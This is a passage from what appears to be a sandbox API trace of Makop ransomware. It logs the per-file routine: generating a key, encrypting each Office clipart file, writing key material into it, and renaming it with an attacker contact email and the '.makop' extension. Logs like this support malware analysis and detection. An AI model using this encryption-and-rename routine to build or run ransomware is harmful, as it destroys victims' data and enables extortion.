pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.050] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.051] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3004, lpOverlapped=0x0) returned 1 [0128.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3010, dwBufLen=0x3010 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3010) returned 1 [0128.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.053] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3010, lpOverlapped=0x0) returned 1 [0128.054] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.054] SetEndOfFile (hFile=0xf0) returned 1 [0128.061] GetProcessHeap () returned 0x48a0000 [0128.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.061] GetProcessHeap () returned 0x48a0000 [0128.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.061] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.063] CloseHandle (hObject=0xf0) returned 1 [0128.063] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0128.063] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0128.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.064] GetProcessHeap () returned 0x48a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.064] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.065] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.065] GetProcessHeap () returned 0x48a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.065] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.065] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.065] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.071] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.071] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.071] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16c0, lpOverlapped=0x0) returned 1 [0128.072] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16c0) returned 1 [0128.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16c0, lpOverlapped=0x0) returned 1 [0128.074] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.074] SetEndOfFile (hFile=0xf0) returned 1 [0128.081] GetProcessHeap () returned 0x48a0000 [0128.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.081] GetProcessHeap () returned 0x48a0000 [0128.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.083] CloseHandle (hObject=0xf0) returned 1 [0128.083] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0128.083] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0128.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.084] GetProcessHeap () returned 0x48a0000 [0128.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.093] GetProcessHeap () returned 0x48a0000 [0128.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.093] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.093] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.095] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.095] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.095] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.095] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b5c, lpOverlapped=0x0) returned 1 [0128.155] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b60) returned 1 [0128.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3b60, lpOverlapped=0x0) returned 1 [0128.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.156] SetEndOfFile (hFile=0xf0) returned 1 [0128.164] GetProcessHeap () returned 0x48a0000 [0128.164] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.164] GetProcessHeap () returned 0x48a0000 [0128.164] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.164] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.166] CloseHandle (hObject=0xf0) returned 1 [0128.166] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0128.166] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0128.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.169] GetProcessHeap () returned 0x48a0000 [0128.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.169] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0128.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.180] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.180] GetProcessHeap () returned 0x48a0000 [0128.180] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.180] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.180] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.181] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.181] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.181] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3e9e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3e9e, lpOverlapped=0x0) returned 1 [0128.183] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ea0) returned 1 [0128.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ea0, lpOverlapped=0x0) returned 1 [0128.184] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.184] SetEndOfFile (hFile=0xf0) returned 1 [0128.191] GetProcessHeap () returned 0x48a0000 [0128.191] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.191] GetProcessHeap () returned 0x48a0000 [0128.191] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.191] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.193] CloseHandle (hObject=0xf0) returned 1 [0128.193] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0128.193] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0128.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.196] GetProcessHeap () returned 0x48a0000 [0128.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.197] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0128.202] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, 